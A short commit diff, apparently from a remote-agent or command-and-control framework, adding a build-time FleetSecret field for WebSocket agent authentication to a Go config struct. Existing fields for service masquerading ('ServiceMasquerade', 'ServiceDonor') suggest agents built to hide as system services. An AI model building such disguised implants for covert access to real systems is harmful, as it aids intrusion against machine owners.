feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints

agent/config/config.go

@@ -61,6 +61,9 @@ type BuiltinConfig struct {
 	ServiceMasquerade bool
 	ServiceName       string
 	ServiceDonor      string
+	// FleetSecret is baked in at forge time and presented on WS connect.
+	// The server rejects any agent that doesn't carry the right secret.
+	FleetSecret string
 }
 
 type RuntimeConfig struct {